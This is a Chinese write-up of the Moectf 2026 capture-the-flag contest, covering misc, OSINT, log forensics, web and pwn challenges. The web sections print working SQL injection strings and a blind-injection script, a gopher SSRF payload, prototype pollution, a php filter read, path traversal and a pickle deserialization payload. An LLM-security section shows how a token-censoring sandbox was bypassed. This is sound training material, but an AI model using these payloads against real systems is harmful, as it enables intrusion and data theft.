西电CTF平台——Moectf 2026 WriteUP

从此开始

签到

加入官方赛事QQ群：1033688742，在群里发送/flag 临时用户识别码，临时用户识别码通过右上角头像获取。

2-1 如何连接在线环境？

在github上下载wsrx软件，启动环境直接访问可得到flag。

2-2 如何使用 nc 连接环境？

编写python脚本用nc连接。

from pwn import *

nc = remote("127.0.0.1", 63820)
nc.interactive()

运行程序之后，进入交互式界面，按照要求输入拼接完的字符串，即可获得flag。

2-3 如何使用 ssh 连接环境？

在命令行输入ssh moeops@127.0.0.1 -p 65521，输入密码后再执行cat /tmp/flag即可。

3-1 C语言环境配置与基础语法

随便找一个在线运行环境，运行一下就知道头文件有问题。

将studio.h修改为stdio.h即可运行成功。

3-2 Python环境配置与基础语法

运行一下程序，flag会在i=103的时候跳出循环打印。

3-4 命令提示符

直接中命令提示符终端运行即可。

3-5 Linux虚拟环境安装与基础命令

ssh连接，flag在/home/student/flag.txt文件中。

策略与博弈

神之泥肘

围棋，第一关将黑子放在S17处即可通过，第二关将白子放在K11处即可通过，第三关将白子放在G5处即可通过。

繁华世界

狂点中间的硬币，直到能够买到车票，就会得到flag。

以撒的出价

随便玩，玩到最后应该都能拿到flag。

大语言模型应用安全

代码面试官

这题需要通过python输出环境变量中SESSION_TOKEN对应的值，但后台做了限制，我们需要绕过。直接让AI生成几个payload。

print(globals()['SESSION_TOKEN'])

key = 'SESSION' + '_TOKEN'
print(globals()[key])

运行一下，发现返回的都是[CENSORED]，说明读取值的时候被沙箱做了屏蔽。

需要更进一步绕过，经过尝试，如下语句可以成功读到flag。

s = globals()["SESSION"+"_TOKEN"]
[print(i) for i in s]

如果上述语句没读到，多尝试几次就可以了。

取证与安全杂项

Misc入门指北

pdf最下面有一段看不见的文本，直接选中复制出来。

得到一串二进制。

01101101 01101111 01100101 01100011 01110100 01100110 01111011 01010111 00110011 00110001
01100011 00110000 01101101 01100101 01011111 00110111 01101111 01011111 01101101 00110001

二进制转字符串拿到flag。

ez_BASE

直接逆序进行base64解码即可。

import base64

strs = "=0HN2U0cAJ2XudHMut2XzYHQo9Vdwk1emR3Yl9Wb"
print(base64.b64decode(strs[::-1].encode()))

ez_LSB

将图片放到kali中，用zsteg命令获取隐藏的文本bW9lY3Rme2M0N19rTjBXNV9MU0J9。

base64解码后获取flag。

星走路的旅程-level1

用exiftool命令查看图片的属性，可以获取拍摄时间、拍摄地点、手机厂商。

AI搜索一下当前照片拍摄点附近的机场只有贵阳龙洞堡国际机场，IATA代码为KWE。

拍摄时间转为格林尼治标准时间为0203。

故完整的flag为moectf{KWE_XIAOMI_0203}。

空白文档

打开文档，有隐藏文字，将word设置一下就可以看见。

word中全部内容如下。

需要进行异或运行，编写脚本。

import base64

def xor_decrypt_b64(cipher_b64, key):
    cipher_bytes = base64.b64decode(cipher_b64)
    key_bytes = key.encode()
    return bytes([b ^ key_bytes[i % len(key_bytes)] for i, b in enumerate(cipher_bytes)])

cipher = "AgkDChcDFBEOWhEAMFcVNg4cMABXXQQY"
key = "office"
result = xor_decrypt_b64(cipher, key)
print(result.decode())

运行得到flag。

Polyglot

附件中有6中不同语言写的代码。

#! /usr/bin/env ruby 			    
#|	
x=""""     		    	
puts"\160\141\162\164\064\072\040\143\171\163\067\064\137\154\164\147\137\137\147\060\063\012"	
     			  	 
	
     			 	  
	
     		 			
	
     			 	 
	
     	     
	
     				 		
	
     		    
	
     			 	 	
	
     		 	  
	
     			  		
	
     		  		
	
     		 		 	
	
     			    
	
     			 	  
	
     		 			 
	
     		 			 
	
     	 					
	
     	 					
	
     	 	 
	
  

__END__
BEGIN { printf "%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 112,97,114,116,51,58,32,101,108,49,95,117,110,49,99,121,115,55,52,95,108,10 }
echo -e "\0160\0141\0162\0164\0062\0072\0040\0157\0060\0137\0041\0147\0061\0146\0145\0154\0061\0137\0165\0156\0061"; { exit 0; }
#!perl
{ print pack("C*", 112,97,114,116,53,58,32,116,103,95,95,103,48,51,102,108,102,108,51,110,125,10); exit; }
__END__
# |#
(display "\x70;\x61;\x72;\x74;\x36;\x3a;\x20;\x66;\x6c;\x66;\x6c;\x33;\x6e;\x7d;\x7b;\x30;\x75;\x34;\x73;\x33;\x0a;")
#|
#define z /* """ # */
exec(chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(39)+chr(112)+chr(97)+chr(114)+chr(116)+chr(49)+chr(58)+chr(32)+chr(109)+chr(112)+chr(116)+chr(110)+chr(110)+chr(95)+chr(95)+chr(111)+chr(48)+chr(95)+chr(33)+chr(103)+chr(49)+chr(102)+chr(39)+chr(41))
# |#

对每个进行拆分：

（1）Ruby：结果为part4: cys74_ltg__g03

puts"\160\141\162\164\064\072\040\143\171\163\067\064\137\154\164\147\137\137\147\060\063\012"

（2）C：结果为part3: el1_un1cys74_l

printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c", 112,97,114,116,51,58,32,101,108,49,95,117,110,49,99,121,115,55,52,95,108,10);

（3）Shell：结果为part2: o0_!g1fel1_un1

echo -e "\0160\0141\0162\0164\0062\0072\0040\0157\0060\0137\0041\0147\0061\0146\0145\0154\0061\0137\0165\0156\0061"

（4）Perl：结果为part5: tg__g03flfl3n}

print pack("C*", 112,97,114,116,53,58,32,116,103,95,95,103,48,51,102,108,102,108,51,110,125,10)

（5）十六进制：结果为part6: flfl3n}{0u4s3

(display "\x70;\x61;\x72;\x74;\x36;\x3a;\x20;\x66;\x6c;\x66;\x6c;\x33;\x6e;\x7d;\x7b;\x30;\x75;\x34;\x73;\x33;\x0a;")

（6）Python：结果为part1: mptnn__o0_!g1f

exec(chr(112)+chr(114)+chr(105)+chr(110)+chr(116)+chr(40)+chr(39)+chr(112)+chr(97)+chr(114)+chr(116)+chr(49)+chr(58)+chr(32)+chr(109)+chr(112)+chr(116)+chr(110)+chr(110)+chr(95)+chr(95)+chr(111)+chr(48)+chr(95)+chr(33)+chr(103)+chr(49)+chr(102)+chr(39)+chr(41))

发现part之间有重复的部分，将重复的删去，根据顺序拼接一下，得到mptnn__o0_!g1fel1_un1cys74_ltg__g03flfl3n}{0u4s3。

再进行一次栅栏解码，获得flag。

ez_BASE_revenge

多重base家族解码，base100->base64->base58->base32。

你会git吗？

根据题目就知道这道题是git隐写。执行git reflog查看所有操作记录。

执行git show commit-id查看每一步的内容。

看到提示了，flag存放在git端暂存区。执行git ls-files --stage命令。

有flag.txt了，执行git show :flag.txt查看内容。

进行base64解码提交。

半部电台

打开音频听一下，就能知道是电台解码了。下载RX-SSTV软件和配套的虚拟声卡。下载完成之后，对RX-SSTV进行配置，选中Setup中的Sound Control and Devices选项。

将播放的默认设备选择为Speaker，录制的默认设备选择为Line in。

勾选右侧的AFC、LMS、BPF进行降噪优化。

选中Robot36模型，播放音频开始监听，音频播放完成之后出现flag。

星走路的旅程-level2

从图片中可以看到有三家店铺，分别是爷爷不泡茶、熊喵来了火锅、刘一手重庆火锅。

直接问AI哪些商场的顶楼同时有这三家店铺。

给出备选答案，到美团搜索一下海州万达广场，确认同时拥有上述三家店。

看下海州万达广场的地址为江苏省连云港市海州区凌州东路 7 号‌，故flag为moectf{JIANGSU_LIANYUNGANG_LINGZHOUDONGLU}

霜雪千年

压缩包嵌套循环，且压缩包的格式包含zip、tar.gz、7z等多种，需要编写脚本进行解压。

import os
import patoolib

SUPPORT_EXT = {".zip", ".rar", ".7z", ".tar", ".gz", ".bz2", ".xz", ".tgz", ".tbz2", ".iso"}

def extract_once(root_dir, del_origin):
    has_archive = False
    for dirpath, _, filenames in os.walk(root_dir):
        for fname in filenames:
            full_path = os.path.join(dirpath, fname)
            ext = os.path.splitext(fname.lower())[-1]
            if ext not in SUPPORT_EXT:
                continue
            has_archive = True
            try:
                print(f"\n正在解压：{full_path}")
                patoolib.extract_archive(full_path, outdir=dirpath, interactive=False)
                print(f"✅ 解压完成")
                if del_origin:
                    os.remove(full_path)
                    print(f"🗑️ 删除原包：{fname}")
            except Exception as e:
                print(f"❌ 解压失败【{fname}】，保留文件，错误：{str(e)}")
    return has_archive

def recursive_extract(root_dir, del_origin=True):
    # 循环多次扫描，直到本轮找不到任何压缩包
    while extract_once(root_dir, del_origin):
        print("\n🔁 本轮存在压缩包，继续扫描解压...")
    print("\n✅ 全部嵌套压缩包处理完毕！")


if __name__ == "__main__":
    TARGET_FOLDER = r"压缩包所在目录"
    DELETE_SOURCE = True
    if os.path.isdir(TARGET_FOLDER):
        recursive_extract(TARGET_FOLDER, DELETE_SOURCE)
    else:
        print("目录不存在！")

运行完成之后得到flag.txt文件。

结合题目，猜测是snow隐写，在kali中使用stegsnow目录先无密码破解。

解出来不对，需要用密码。试了几个，霜雪千年可以解密得到不是乱码的明文。

o@a,tsp nyset teagattsare 2tept anns
Siao  ahns
sh gya9pg igs ihx 

星走路的黑历史

搜索QQ号，在个性签名中拿到一部分flag和提示。

星走路的旅程-level3

查看图片属性，为2026年4月27号所拍。

查看图片，可以得知对面那架飞机是中国东方航空。在尾翼上可以模糊的看到B-*376的字样。

上航班查询根据飞机进行筛选，经过尝试，只有B-6376符合。

查看2026年4月份的航班。

根据图片拍摄的时间定位到2026年4月27号，筛选当天所有的航班。

照片拍摄时间为13点29分，此时飞机还没起飞，只有航班号为MU2137符合。

故flag为moectf{XIY_MU2137_FOC}

西复问答

第一个问题：

第二个问题：

第三个问题：西电湖人的发生时间可以直接百度或者直接问AI，就可以得到发生时间为20230911。

开发与运维基础

当 Nginx 不在家

ssh连接远程环境，题目中提到有一位神秘的访客在敲击3000端口，利用nc命令监听3000端口，可以得到回显内容。

将回显内容拼接就是flag。moectf{WEb_sERvER-ProvIDe-reLI@bL3-5eRviCE-F0r-th3-wORLd0}

网站日志取证大师

第一个问题：本日志中所有 IP 一共向/wp-json/wp/v2/users/me路由枚举了多少个不同用户名？（使用阿拉伯数字整数，不带前缀零，不算空白请求），在日志中搜索该路由，将第二个字段有值的记录下来。共有11个用户名：asq、ahu、\xE6\x9E\x97\xE6\x9E\x97、xxx、linlinzzo、foobar、deqaz、aabbcc、bbccdd、ccddff、ddffee

第二个问题：185.177.72.68这个 IP 使用什么工具（名称/版本号，请以 User-Agent 原始内容为准）对网站进行扫描？，直接搜下该IP，就知道用的是curl/8.7.1。

第三个问题：在日志记录的这段时间里一共扫描了多少次？，搜下185.177.72.68在日志中出现的次数为2214。

第四个问题：在 08/Jul/2026:00:08:07 +0800 左右，该 IP 在探测哪一个漏洞是否可利用（CVE漏洞编号）？，搜索下该时间，可以知道在访问一个叫/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php的路径，上网搜索一下就知道CVE编号为CVE-2017-9841。

第五个问题：扫描的起止时间为？，搜索一下IP，最早是从07/Jul/2026:23:52:16 +0800开始，到08/Jul/2026:00:08:08 +0800结束，根据题目要求，该部分为235216-000808。

五部分拼接起来就是flag：moectf{11-curl/8.7.1-2214-CVE-2017-9841-235216-000808}。

Web安全与渗透测试

查分系统

直接查看源代码，搜索moectf就能拿到flag。

Web 安全与渗透测试入门指北

打开html文件，查看源代码，获得flag。

归途

F12，查看网络数据包，拿到key3。

提示url参数，将id=3改为id=4，拿到key4和key5。

提示需要用POST方式访问数据包，拿到key6。

查看页面源代码，拿到key2。

在控制台拿到key1。

拿到key6后，提示我们可以尝试登录，在url后面拼接/login路径，找到登录界面。

先用页面上提供的用户名和密码登录，让我们用admin账户登录。

但是将上面所有的key都尝试了一遍，全都不是密码。用burp抓取一下登录包，发现是个重定向。

有一个设置cookie的字段，他让我们用admin账户登录，那我们直接在请求包中加上这个cookie，再次访问。

跟随重定向，拿到key7。

又拿到提示，有一个文件限制了爬虫可以访问的内容，很明显是robots.txt，访问一下，拿到flag的地址。

访问一下，将上述7个key进行base64解码后，填入即可拿到flag。

7h!5I$M@0m4od3K3yEn+erTh1sla!93tf|1la@4a@g696g9

古籍翻阅

访问地址，随机点击一本书，看到url中的参数和附件中给出的地址一致。

用burp对所有的参数都访问一遍，只有true_file有正常回显。

提示我们flag在根目录下，大概率参数存在目录遍历漏洞。burp尝试，两层穿透。

河湖小盗

根据题目内容，明显知道是sql注入漏洞。先输入1和2都可以正常回显。

在输入2-1，回显的是1的内容，说明存在数字型注入漏洞。

判断列数，1 order by 3正常，1 order by 4错误，存在3列。

执行1 union select 1111,2222,3333，三个字段都可以回显。

执行1 union select 1111,2222,database()拿到数据库名为past_paper。

执行1 union select 1111,2222,table_name from information_schema.tables where table_schema=database()拿到数据库中有flag_table、past_paper、public_subjects三张表。

执行1 union select 1111,2222,column_name from information_schema.columns where table_schema=database() and table_name='flag_table'拿到flag_table表中有flag、id两个字段。

执行1 union select 1111,2222,flag from flag_table拿到flag。

熊出没

访问地址，明显的ssrf漏洞，需要让服务器端去帮我们请求54321端口。

随便输入点内容，有提示用gopher协议。

构造payload：gopher://127.0.0.1:54321/_，拿到/secret-honey路径。

将路径拼接上去，完整payload：gopher://127.0.0.1:54321/_secret-honey，成功拿到flag。

合乎周礼

访问给出4个接口。

第一个接口/api/help，提示我们只有isAdmin=true 且 canReadFlag=true 时返回 FLAG。

第二个接口/api/me，返回的是当前用户状态。

第三个接口/api/profile，用于提交用户状态。

第四个接口/api/flag，当isAdmin=true 且 canReadFlag=true时就可以得到flag。

本题的关键点：

• 接口：POST /api/profile 接收 JSON 配置，用来更新用户配置
• /api/flag 需要 isAdmin=true 且 canReadFlag=true （继承属性，inheritedProbe读取的是原型链属性，不是对象自身属性）
• /api/me 返回：inheritedProbe.isAdmin:null、inheritedProbe.canReadFlag:null，null代表对象本身没有这两个属性，会去**原型链 (Object.prototype)**查找。
• 漏洞：POST /api/profile后端做对象合并（merge），存在原型链污染 ，通过__proto__向Object.prototype写入属性，所有对象都会继承这两个属性。

故本题的payload：{ "__proto__": { "isAdmin": true, "canReadFlag": true } }

七狗免费小说

题目内容提示这题需要用到php伪协议，先访问一下，可以看到file参数可以利用。

利用php伪协议读取，发现convert和string两个关键函数被后台过滤了。

再寻找其他办法，可以用zlib压缩过滤器读取。payload：php://filter/read=zlib.deflate/resource=flag.php

页面显示一长串字符串，说明读取到了内容，编写脚本对其进行解码。

import base64
import zlib

b64_data = "lZBNTsJQFIXnrKJpnDZAGv5iLTP3IfU9McFAxJHGRKyItULVEK2kRiFKASNFE2NTWt3Mu6/PUbdguwMdnNG559wvRyo3qo3UCq5tbHFrHL9TR8oePsDFLM7lCzkhlxUzQiaPkFAobSqCKCJcKhSVvILRIb+aQkq1zvHrSRgWb2BNiHv+cz+K/AswZtTSWGtGzV44OCGeR7UuU4PQ0pndkiq7MmhT4uqxB5pN1XbkP8CTTcfH1HSkpsxGL7Aw4GwJlyrtacQ7ldJNmQQWO2pD65N2run7kPa/Yoh0mmPfd3T+QW868HqbfAussD9JEEyH2WMwrrj92naFg54e+tOYjgSPYDhk+UzcbjgfwlyN/EFSFI/xF/3ntCynfgE="

raw_compress = base64.b64decode(b64_data)
# raw deflate解压
res = zlib.decompress(raw_compress, -zlib.MAX_WBITS)
print(res.decode("utf-8"))

运行直接拿到flag。

江洋大盗

河湖小盗的升级版，过滤了一堆关键函数，但是这题还是可以用布尔盲注来做。

先判断数据库的长度：1 and length(database())=5，用burp爆破，得出数据库长度为10。

再得出数据库的名字：1 and ascii(substr(database(),1,1))=106。将得到的ascii码112、97、115、116、95、112、97、112、101、114转换一下得到past_paper。

再判断数据表名称的长度：1 and length((select table_name from information_schema.tables where table_schema='past_paper' limit 0,1))=5，得到数据表名称长度为10。

再得出数据表的名称：1 and ascii(substr((select table_name from information_schema.tables where table_schema='past_paper' limit 0,1),1,1))=107。将得到的ascii码102,108,97,103,95,116,97,98,108,101转换一下得到flag_table。

再得出数据表字段名称的长度：1 and length((select column_name from information_schema.columns where table_schema='past_paper' and table_name='flag_table' limit 1,1))=5，得到数据表长度为4。

再得出字段名称：1 and ascii(substr((select column_name from information_schema.columns where table_schema='past_paper' and table_name='flag_table' limit 1,1),1,1))=101。将得到的ascii码102,108,97,103转换一下得到flag。

再判断flag字段第一条记录的长度：1 and length((select flag from flag_table limit 0,1))=7，得到第一条记录长度为74。

最后需要得出flag字段第一条记录的内容。由于这里爆破量巨大，所以这里采用编写python脚本的方法来实现。

import requests
import time

url = "http://127.0.0.1:59772/"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:154.0) Gecko/20100101 Firefox/154.0"
}
for i in range(1, 75):
    for j in range(1, 220):
        temp = f"id=1 and ascii(substr((select flag from flag_table limit 0,1),{i},1))={j}"
        resp = requests.post(url, headers=headers, data=temp)
        if b"\xe6\xb2\xa1\xe6\x9c\x89\xe6\x89\xbe\xe5\x88\xb0\xe5\x8c\xb9\xe9\x85\x8d\xe8\xae\xb0\xe5\xbd\x95\xe3\x80\x82" not in resp.content:
            print(chr(j), end="")
            break
        time.sleep(0.3)

运行完得到flag：moectf{C0ngr@+u1@7|0ns_8u+_+h3re_wou1d_not_6e_any_pas7_3x@m_pap3r_in_f4ct}。

我爱发明

这题前面两关都很好过，最后一关受到时间的限制通过人工的方式肯定是行不通了，必须通过脚本的方式。

先写一版初始的脚本。

import requests
import re

pattern = '<p>验收片段：<code class="inspection-code" data-code="(?P<code>.*?)"'
code_dict = dict()
sess = requests.session()
headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Edg/151.0.0.0"
}
first_url = "http://127.0.0.1:65510/api/stage1"
first_data = {
    "parts": "B-17 S-09 T-04"
}
first_resp = sess.post(first_url, headers=headers, data=first_data)
print(first_resp.text)
second_url = "http://127.0.0.1:65510/api/stage2"
second_data = {
    "tuning": "860/73/Ⅲ/2.4"
}
second_resp = sess.post(second_url, headers=headers, data=second_data)
print(second_resp.text)
third_url = "http://127.0.0.1:65510/stage/3"
third_resp = sess.get(third_url, headers=headers)
# print(third_resp.text)
fourth_url = "http://127.0.0.1:65510/archive?page="
for i in range(1, 25):
    temp_fourth_url = fourth_url + str(i)
    fourth_resp = sess.get(temp_fourth_url, headers=headers)
    for j in range(1, 13):
        print((i-1)*12+j)
        temp_fifth_url = "http://127.0.0.1:65510/invent/"+str((i-1)*12+j)
        fifth_resp = sess.get(temp_fifth_url, headers=headers, verify=False)
        if "未盖章" not in fifth_resp.text:
            # print(fifth_resp.text)
            code = re.search(pattern, fifth_resp.text)
            code_dict[(i-1)*12+j] = code.group("code")

print(code_dict)

运行一下，会发现访问到第60个左右的时候由于倒计时结束了，无法访问。出现这样的原因是因为当前脚本是串行访问的，消耗的时间很长，需要采用异步请求的方式。经过多次尝试最终脚本如下。

import re
import asyncio
import aiohttp
import requests
import hashlib
from functools import wraps

# -------------------------- 配置 --------------------------
pattern = r'<p>验收片段：<code class="inspection-code" data-code="(?P<code>.*?)"'
code_dict = dict()

headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Edg/151.0.0.0"
}
BASE_URL = "http://127.0.0.1:65510"
CONCURRENCY = 35
RETRY_TIMES = 1  # 网络出错重试1次
SINGLE_TIMEOUT = aiohttp.ClientTimeout(total=8)

# -------------------------- 生成需要并发请求的 invent id列表 --------------------------
invent_ids = []
for i in range(1, 25):
    for j in range(1, 13):
        real_id = (i - 1) * 12 + j
        invent_ids.append(real_id)
print(f"待请求invent总数: {len(invent_ids)}")


# 异步重试装饰器：只对 ERR 网络错误重试；业务返回None不重试
def async_retry(max_retry: int):
    def decorator(func):
        @wraps(func)
        async def wrapper(*args, **kwargs):
            attempt = 0
            while attempt <= max_retry:
                res = await func(*args, **kwargs)
                inv_id, val = res
                # ERR开头代表网络异常才重试；val=None是业务正常无数据，不重试
                if not (isinstance(val, str) and val.startswith("ERR:")) or attempt >= max_retry:
                    return res
                attempt += 1
            return res
        return wrapper
    return decorator


# -------------------------- aiohttp 并发请求函数 --------------------------
@async_retry(max_retry=RETRY_TIMES)
async def fetch_invent(session: aiohttp.ClientSession, inv_id: int):
    url = f"{BASE_URL}/invent/{inv_id}"
    try:
        async with session.get(url, headers=headers, timeout=SINGLE_TIMEOUT, verify_ssl=False) as resp:
            text = await resp.text()
            if "未盖章" not in text:
                match = re.search(pattern, text)
                if match:
                    return (inv_id, match.group("code"))
            return (inv_id, None)
    except Exception as e:
        return (inv_id, f"ERR:{str(e)}")


async def main(cookies):
    connector = aiohttp.TCPConnector(limit=CONCURRENCY, ttl_dns_cache=300)
    async with aiohttp.ClientSession(connector=connector, cookies=cookies) as aio_sess:
        tasks = [fetch_invent(aio_sess, inv_id) for inv_id in invent_ids]
        results = await asyncio.gather(*tasks)

    # 回填字典
    for inv_id, val in results:
        if val is not None and not (isinstance(val, str) and val.startswith("ERR:")):
            code_dict[inv_id] = val
    return code_dict


if __name__ == "__main__":
    import time
    start_time = time.time()

    # -------------------------- 前置接口（必须串行执行，业务依赖） --------------------------
    sess = requests.session()

    # stage1
    first_url = f"{BASE_URL}/api/stage1"
    first_data = {"parts": "B-17 S-09 T-04"}
    first_resp = sess.post(first_url, headers=headers, data=first_data)
    print("[stage1]", first_resp.text)

    # stage2
    second_url = f"{BASE_URL}/api/stage2"
    second_data = {"tuning": "860/73/Ⅲ/2.4"}
    second_resp = sess.post(second_url, headers=headers, data=second_data)
    print("[stage2]", second_resp.text)

    # stage3
    third_url = f"{BASE_URL}/stage/3"
    third_resp = sess.get(third_url, headers=headers)

    fourth_url = f"{BASE_URL}/archive?page=1"
    fourth_resp = sess.get(fourth_url, headers=headers)

    # 将requests的cookies传入aiohttp会话，保持登录状态
    code_dict = asyncio.run(main(sess.cookies))

    sorted_vals = [code_dict[k] for k in sorted(code_dict.keys())]
    result = "|".join(sorted_vals)
    print(result)

    sha256_obj = hashlib.sha256(result.encode("utf-8"))
    hex_hash = sha256_obj.hexdigest()
    print(hex_hash)

    result_url = "http://127.0.0.1:65510/api/finalize"
    result_data = {
        "answer": hex_hash
    }
    res = sess.post(result_url, headers=headers, data=result_data)
    print(res.text)

    cost = time.time() - start_time
    print(f"\ninvent请求总耗时: {cost:.2f}s")

运行得到结果。

查分系统_revenge

查看源代码，有一堆加密后的数据，在下面也有加密的过程。

分析一下代码逻辑：

1. 常量

• commonIv：AES‑GCM 解密所用的 IV 向量 base64 字符串；
• encryptedStudentData：存放 base64 编码后的加密学生数据。

2. 工具函数

• b64ToBytes：base64 字符串转 Uint8Array 字节数组；
• esc：HTML 特殊字符转义，防止 XSS；
• makeKey：将学号做 SHA‑256 哈希，生成 AES‑GCM 解密密钥；

3. 解密函数tryDecrypt(record, sid)

• 以学号作为密码生成 AES 密钥，使用公共 IV，解密加密数据；
• 解密后解析 JSON，校验返回数据里的学号和输入学号是否一致，不一致抛出异常，返回学生对象。

4. 主查询函数searchScore()
   • 校验输入必须是 8 位数字学号，格式不对直接报错；
   • 查询按钮置为禁用，防止重复点击；
   • 遍历加密数据集，尝试用当前学号解密；解密成功展示成绩；全部解密失败提示学号错误；
   • finally 块恢复按钮可用状态。

接下来就需要去爆破sid了，编写脚本。

const crypto = require("crypto");

/**
 * 尝试用给定学号解密
 * @param {string} sid 8位学号字符串
 * @param cipher
 * @returns {object|null} 成功返回学生对象，失败返回null
 */
function trySid(sid,cipher) {
    // makeKey逻辑：学号utf8 → sha256 → 256位aes密钥
    const key = crypto.createHash("sha256").update(sid, "utf8").digest();
    const commonIvB64 = "bW9lY3RmMjAyNml2";
    const iv = Buffer.from(commonIvB64, "base64");
    const fullData = Buffer.from(cipher, "base64");
    // WebCrypto AES‑GCM：最后16字节是auth tag
    const tag = fullData.subarray(fullData.length - 16);
    const cipherText = fullData.subarray(0, fullData.length - 16);
    try {
        const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
        decipher.setAuthTag(tag);
        let plain = decipher.update(cipherText, null, "utf8");
        plain += decipher.final("utf8");
        const stu = JSON.parse(plain);
        if (String(stu.学号) !== sid) {
            return null;
        }
        return stu;
    } catch (e) {
        // 解密失败、tag校验失败、json解析失败都直接返回null
        return null;
    }
}

/**
 * 暴力遍历示例；完整00000000‑99999999数量巨大，不要直接跑全量！
 * 建议：先限定小范围做实验，例如 10000000~10000100 测试逻辑正确性
 */
async function brute(start, end, cipher) {
    console.log(`开始遍历，范围：${start.toString().padStart(8, "0")} ~ ${end.toString().padStart(8, "0")}`);
    for (let num = start; num <= end; num++) {
        const sid = num.toString().padStart(8, "0");
        const res = trySid(sid, cipher);
        if (res) {
            console.log("\n✅找到匹配！");
            console.log("学号:", sid);
            console.log("数据:", JSON.stringify(res, null, 2));
            return;
        }
        // 每5000次打印进度，方便观察
        if(num % 5000 === 0){
            console.log("已尝试：", sid);
        }
    }
    console.log("该范围内未找到有效学号");
}

// ========== 测试：这里填小范围，千万不要直接写 0,99999999 ==========
const encryptedStudentData = ["kCyxN2+qCfUK3LMzZQzM5UqhVK7pIfstn6iWuR/HRZHnZlJtcw3CqD7IIJZDqxBsM2Oy8FvZ3RrmXFAoxbsYLHWz2pwZkMXrYHWONUrGaqZYqoKBO82Ax/kbIpqFt4tOWLU3KiTrBrKlf1sLlDbu1s3h4oC85VfM7Xo2XDxFJH0ZBoxAZamyCj+Lc3xW7k4esrG/UsOjLeCCkpcULK0uAUyvUlL5L57RmXKregggHfYIHlnL2wWkbxl+MvXBfLN2+g9dg+LNBWqTotnlnZkdyPTLc3Zd7haUKAcm7ZscbKs18FienfeZAoZnpcYy+PERStZsM/lfbiktM2qm9zm2yR5XyprlMiXJHNEwQA+BBmdUYFlKaN5twrGjN8ymc2xUU+nvgYyFrZEzyQn1Dji+0d4HQBqLQ98Vf33zkZL9ScaZIOjcmoIKFjDZ2xm1gwfZjs0Xx72XPSYiNeLbfbIrAAqg187y52EO5GR9T6SSVzd8Q0f+GlkH4Xb5acyksFWz2gniAEKr10fVaDk6LYyzEtTvJKSPR6yZs3vfXumT0nl87JvyIOeo1ID3/QyRMbvXhqPCifLa9NWbQz32rRd+UdiTPgN531aY","d59lTEJCN9NY46flAVfRqDhJDKGTq59ML7DUn/2YgxlVXV/JjlVCA4FUM1W7GMjPFOClKQGXP3bJqLIWflLqhMcCkKPInCdNmzWwTWx/JSxtboDmlUJKJwQuTH+ZBGyXNXtIpxJAPi+dFw0b2k9ol1QuDgqvLKP+6FOHxhh+7JTgdrilDMh8wMah/6aLYFbrVGiIIR1ZNcvKO0xq7WrM4G0Sv4mnmXDmWEjze5BeQrqzEXMNVmQFqlgSAWAnaP1UrZi8uVKa0h5fLxjcDluiuTJNXkPa6HzDqYHLaLZxHlES8CLNBSodto8UCxegdqVB2aZa1WXnm58GoZ3BCXOykBsNc3p0Q1oXq09y3kGfYwe1aN53kOewU/jlkvX8cijbvZgJTYve8BBohAmDUEkBHFverUBIYpLXhnrAr7QcgnfqwazTfKzjGhQ5dyNPXbdWfMfwMA38TMcvHz5JO1uUWtJCLexdmksp7Uh369btR2ACbQazcppfbIqJvgGPYkH9OimronH96WAxwkwtAkUlAE+8RrcHAZfPdm++JMlL/8Za3LbumbSbE5q2zNkHfx6AZHT7TNiblpt9mLbGf1BLaSfbnupgskfrJiEdySlSeK1viSvQ","vq3A1zwnhjYEsFHMOaVmIjtcKGb2prkFXd1q4C3VNVbCjS7CjhX6OgYG3ByRxRiFAeaiFP8V6Ro7nl9zKNLVz80en0LjhJmcmFxY9FXKTwEvv9nNE0Dy04+rYIjZ2j4ozYRxqxRz1giuSTe7TO3WB77OE2PnwA/FkEujuHY5zxv2J4LEd18O+2BrP9DLtWLTIsiQw5O2pQ1Dglbd88/Wgo14kgYPLDHy/Mkj/lrrWmVvKcOu7Jn42HiHgQak4IVpD1ZFiyavpM3/ahMgsWkBE8ZkK+STLhms4Dy3xorHWQqvHShldKA3dZB7wLDbl+9kYta8d6HaVhtT3zpiUDxpLWpkahQ/eNmNeLTaMPttrl0NnoyhzsM5OWvgo9V2RyQ1psJCTny5/Njxk/I9Z8pLJF5vdqA69bILJq0rMkpn61yTaMbzUv260KRJ8DQlQjCRcON/d5hQphbRXDXSpzpv9jU9ls1olLDZrSezLg0EpMMHsxqtZm2gCHZZoxUrGeC7cyiCRr9x9BWEKnQt5Rkg/Aajo/clG9H8q27QG1xXGXMnlDb3VARBLcigiXJKb+nWGSOq14w8QxlY7eZjroaDWu5QAeSWrvGE"
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]
for (const cipher of encryptedStudentData) {
    console.log(cipher)
    brute(23000000, 40000000, cipher);
    // 延迟1000毫秒(1秒)执行
    setTimeout(()=>{
        console.log("1秒后执行");
    }, 3000);
}

这里需要等待的时间比较长，当学号为25178346时拿到flag。

日志系统

题目给出了源码，经过代码审计，发现了危险函数pickle.loads，该函数存在反序列化漏洞。我们可以利用python中的魔术方法达到命令执行的目的。

import pickle
import subprocess

class Evil:
    def __reduce__(self):
        # reduce 魔术方法，pickle 反序列化时会执行
        return (subprocess.check_output, (["ls", "/"], ))


evil_obj = Evil()
payload = pickle.dumps(evil_obj)
with open("evil.pkl","wb") as f:
    f.write(payload)

生成了pkl文件后，将其上传，能在页面上看到回显，说明payload有效。

二进制漏洞审计

Pwn入门指北

开启环境，用所给的示例代码访问。这里需要两个值，一个是64位下int类型最大值，一个是secret code。

from pwn import *
context(os="linux", arch="amd64", log_level="debug") #基础配置
# 本地测试时，用这条而把远程交互的注释掉即可
#io = process("./pwn")
# 远程交互,在自己提交时，找到自己的ip和根据wsrx连接后软件给的接口并填写
io = remote("your ip", port)

io.recvuntil(b"Hello,my friend.Please enter the password to begin") #接收指定字符串停止，从而我们进行下列操作

io.sendline(b"???") #发送密码，密码内容提示：64位下int类型最大值

